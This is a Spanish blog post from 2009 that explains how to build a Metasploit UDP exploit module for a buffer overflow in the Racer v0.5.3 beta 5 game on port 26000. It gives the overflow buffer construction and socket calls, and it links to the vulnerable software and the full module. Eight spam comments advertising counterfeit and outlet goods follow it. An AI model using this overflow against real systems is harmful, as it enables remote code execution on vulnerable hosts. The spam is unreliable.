miércoles, 4 de marzo de 2009

Metasploit -> MSFXDC(Protocolo UDP)

Remotos:
UDP: racer_bof.rb

Descripcion: Racer v0.5.3 beta 5(09-03-07):
Es un exploit que trata sobre un juego de carreras y que escucha en un puerto, el 26000(UDP).
Esto ya nos da bastantes pistas para comenzar.

Requisitos:
De momento vamos a abrir los archivos que tratan de las conexiones UDP.

1º-C:\Documents and Settings\user\Datos de programa\msf32\lib\msf\core\exploit\udp.rb
2º-C:\Documents and Settings\user\Datos de programa\msf32\lib\rex\socket\udp.rb

Está bastante comentado así que podeis entenderlo fácilmente si estáis relacionados con
la programación en ruby u otro lenguaje que se le parezca.


Exploit:
Hay que incluir una línea para indicar que usaremos ese protocolo, justo despeus de definir
la clase Metasploit3
########################################################################################################
include Msf::Exploit::Remote::Udp
########################################################################################################

En la definicion de exploit, podemos poner varias lineas:
########################################################################################################
connect_udp #--> Crea una conexion con el protocolo udp para enviar datos

buf = 'A' * 1001 + [target.ret].pack('V') + payload.encoded + 'B' * (1196 - payload.encoded.length)

udp_sock.put(buf) #--> Envia mediante udp lo que hay en buf, este es el único definido en el 2º archivo.

handler #--> Controla la conexion

disconnect_udp #--> Y termina la conexion
########################################################################################################

Tambien es importante la siguiente parte de código que va en otra parte dentro del exploit:
########################################################################################################
register_options(
[
Opt::RPORT(26000) #Puerto especificado por defecto
], self.class)
########################################################################################################

Download App Vuln: https://www.securinfos.info/old_softwares_vulnerable/racer053b5.rar

Link del exploit: https://www.securinfos.info/metasploit/racer_bof.rb ó http://www.metasploit.com/modules/exploit/windows/games/racer_503beta5

--------------------------------------------

Bueno en principio tenía pensado depurarlo de nuevo para ver mejor el espacio real para la shellcode y ajustarlo en el exploit, o badchars e incluso referencias, pero ando bastante jodido de tiempo, así que si alguno quiere bienvenido sea. Además me imagino que la dirección de la dll es universal, pero podéis agregar otras versiones que seguramente sea vulnerable en otras y asi hacerlo más universal todavía :P

Saludos y espero que a alguno le sirva.

8 comentarios:

dada xu dijo...

michael kors outlet store
ralph lauren sale clearance uk
kate spade bags
nike outlet online
gucci bags
nike store
pandora charms
pandora jewelry
coach outlet store
michael kors outlet store
chenshanshan20170310

龙大猫 dijo...

adidas stan smith sneakers
michael kors handbags
nike air force 1
roshe shoes
timberland boots
yeezy boost 350
adidas tubular
kobe 11
true religion
michael kors outlet

Unknown dijo...

longchamp outlet
pandora charms
coach outlet store
giants jersey
cheap oakley sunglasses
cheap nike shoes
golden state warriors jerseys
chicago bulls
michael kors handbags clearance
michael kors handbags

shengda xu dijo...

kate spade bags
red bottom heels
cheap nike shoes
coach handbags outlet
rolex replica watches for sale
coach outlet online
fred perry polo shirts
cheap jordan shoes
michael kors outlet
burberry outlet
xushengda0518

aaa kitty20101122 dijo...

james harden shoes
hermes belt
jordan shoes
michael kors outlet online
michael kors outlet online
kobe shoes
van cleef
nmd
hermes belts for men
michael jordan shoes

eric yao dijo...

ED Hardy Outlet Coach Outlet Store Online Kate Spade Outlet Cheap Jordans Coach Purses Coach Outlet Kate Spade Outlet Toms Outlet Louis Vuitton

ninest123 dijo...

mt1206
louis vuitton outlet
michael kors
michael kors outlet online
michael kors
uggs outlet
supreme clothing
ralph lauren outlet
north face outlet
coach factorty outlet online
uggs clearance
mt1207

chenlili dijo...

roshe run
pandora jewelry
nike shoes
bottega
timberland outlet
converse outlet
polo outlet
hockey jerseys
nike air max 1
ralph lauren
chenyingying20108427